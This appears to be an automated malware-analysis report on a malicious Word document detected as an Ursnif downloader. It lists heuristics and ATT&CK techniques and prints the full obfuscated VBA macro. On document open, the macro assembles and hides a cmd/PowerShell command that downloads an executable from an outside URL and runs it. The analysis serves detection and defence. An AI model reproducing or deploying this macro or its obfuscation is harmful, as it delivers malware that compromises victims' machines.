MALICIOUS
152
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Word document containing VBA macros. The 'Document_open' macro is present and a critical heuristic indicates a potential Shell call. The ClamAV detection name 'Doc.Downloader.URSNIF-6729855-3' strongly suggests a downloader family. The VBA script appears to be obfuscated but the presence of a Shell call indicates it is likely attempting to download and execute a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell iPoDjDNou + cOrlK, Format(vbHide) -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4692 bytes |
SHA-256: adea22668c7c18098949d3e65ec517663b6a1ef8c7cfca906a35f8f49d904fd9 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
33 of 64 identifiers look randomly generated (e.g. 'SWHdEwbWtvRLta'); 26 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "kjcuoNBLH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
VarType "wqD" + "333099841"
VarType "iBtoE" + "iR" + "8049" + "373"
VarType "iDiTEppIM" + "vfpY" + "6210" + "Hd"
VarType "463007528" + "jzuQ" + "150498972" + "6207"
VarType "hwECrp" + "mrqvNGjQnVNm"
VarType "mEB" + "wMUTwi" + "400644199" + "XN"
Shell iPoDjDNou + cOrlK, Format(vbHide)
VarType "3374" + "424716705"
VarType "ZBZ" + "1905"
VarType "6801" + "124305292"
VarType "8591" + "Z" + "dWTvMbqtTipq" + "XvEVjDvZGNl"
VarType "466097241" + "8169" + "cOwDQVziY" + "Hh"
End Sub
Attribute VB_Name = "uVoUtvGkk"
Function iPoDjDNou()
On _
Error _
Resume _
Next
VarType "3936" + "BmsFj"
VarType "bMpcZiZa" + "NEzb" + "IU" + "265213122"
VarType "qmGizzi" + "223543176" + "516027162" + "uFj"
okkuwov = Format(Chr(12 + 3 + 18 + 5 + 61)) + "md /V" + "/" + Format(Chr(8 + 2 + 12 + 3 + 42)) + Format(Chr(3 + 0 + 5 + 1 + 25)) + "s^e" + "^t ^dy" + "^J= ^" + " ^" + " ^ " + "^ ^ ^" + " ^" + "}^"
VarType "4203" + "C" + "jsk" + "801"
WTasXJSDPcF = "}{" + "h" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^" + "ta" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^};^" + "k^a^" + "er^b" + "^;Sj^" + "l$^ ^m^" + "e^t^I-^"
VarType "7865" + "sSvrQaRhAb" + "BO" + "YMNz"
VarType "RhiXrz" + "iVcU"
kOsOYbKUiMw = "ek^ovn" + "I^;" + ")^Sjl" + "$^" + " " + "^,^" + "wJF$(e" + "^l^i^F^" + "da^o" + "ln" + "w^" + "o^"
VarType "487345983" + "vkA" + "icBQFY" + "1"
VarType "VZA" + "Fhr" + "kDtz" + "9507"
VarType "388752353" + "1181"
VarType "SWHdEwbWtvRLta" + "329734313"
RoDDRS = "D" + "^.v" + "f^b" + "^${^y" + "rt{" + ")" + "^p" + "m^i^$" + "^ ni" + " w^J^" + "F$(^"
VarType "cbNjkQFFTbE" + "iYpca"
VarType "NB" + "9760" + "9903" + "87825058"
VarType "7980" + "qn"
KqicsK = "h" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^a^e" + "rof^;" + "'exe.^'" + "^" + "+^F" + "q^G$^" + "+"
VarType "KqvuzTfVR" + "TNiKBfn"
VarType "IlCjAhL" + "9441"
VarType "zGAZliX" + "8216" + "NZEl" + "482740859"
AkJjwjDpmBl = "^'\^'+" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "i" + "^l^b^u^" + "p:v" + "n^e^$^=" + "Sj^l^"
VarType "YUWc" + "427134668"
VarType "Yiuh" + "160749709"
VarType "7102" + "1064" + "ZaBB" + "407119683"
jDlbZCaRiB = "$^;'^8" + "66^' " + "= F^q" + "^G$;" + ")'@^'(" + "^ti" + "l^"
VarType "wMnCc" + "lSkGUEZ" + "dzO" + "w"
VarType "7910" + "WZJQJQZ"
VarType "2081" + "XsC"
VarType "465179744" + "WO" + "lQ" + "A"
tzSKXwAk = "p^S^." + "'nkt^" + "." + "3" + "agra^"
VarType "5974" + "fTuIbuFYUlX"
VarType "6348" + "oTs" + "oiR" + "Oh"
rWAbfPwuO = "t^=^l^" + "?^" + "ph" + "^p^" + ".to" + "^k^" + "sn^" + "a" + "^po/^T^" + "TR/^m^" + "o" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^.r" + "j"
VarType "z" + "RDTNUIuPLkiG"
VarType "9783" + "8578"
VarType "161785613" + "411107441" + "wQijzqIcFBA" + "403125096"
VarType "w" + "294157363"
GjlLViCH = "5^" + "om2" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^" + "s^e" + "^f"
VarType "7786" + "AsP" + "aRj" + "49912136"
VarType "iS" + "zdda"
VarType "who" + "3334"
JqUrOQ = "d" + "59^" + "t//^:" + "^p^t" + "^th^'" + "^=p^mi$" + ";tne^" + "il" + Format(Chr(8 + 2 + 12 + 3 + 42)) + "b" + "eW.teN" + " t" + Format(Chr(12 + 3 + 18 + 5 + 61)) + "e^j"
VarType "Ewl" + "5391"
VarType "pwS" + "4705"
VarType "woUp" + "424571594" + "mHXoqQ" + "v"
VarType "9718" + "FEV" + "95971773" + "qdhJlI"
wDkCBzmTDLT = "b" + "o-^" + "w^en^=" + "v" + "f^b^$" + "^ lle^" + "h^s" + "rewo" + "p&&" + "for /^" + "L %^" + "q ^in " + "(^2^"
VarType "428568045" + "FBGbri"
VarType "173238303" + "418392456"
VarType "IH" + "457666333"
LblmiBnz = "65^,-^1" + ",^0)^d" + "^o ^s^" + "et xSo=" + "!xSo!!^" + "dy^J" + ":~" + "%^q"
iPoDjDNou = okkuwov + WTasXJSDPcF + kOsOYbKUiMw + RoDDRS + KqicsK + AkJjwjDpmBl + jDlbZCaRiB + tzSKXwAk + rWAbfPwuO + GjlLViCH + JqUrOQ + wDkCBzmTDLT + LblmiBnz
VarType "Zzd" + "380304885"
VarType "352877236" + "MSPdD"
End Function
Function cOrlK()
On _
Error _
Resume _
Next
VarType "255869486" + "fih" + "burioJk" + "vE"
VarType "8223" + "327494224"
VarType "516916278" + "NURMUqVfcTjGFX"
BCaDzjJ = "," + "1!&&i^f" + " %^" + "q==^0" + " " + Format(Chr(12 + 3 + 18 + 5 + 61)) + "^a^l" + "l %" + "xS" + "o:" + "~^5" + "%" + Format(Chr(3 + 0 + 5 + 1 + 25)) + " " + ""
cOrlK = BCaDzjJ
VarType "P" + "jbUkiYddGswwaj"
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.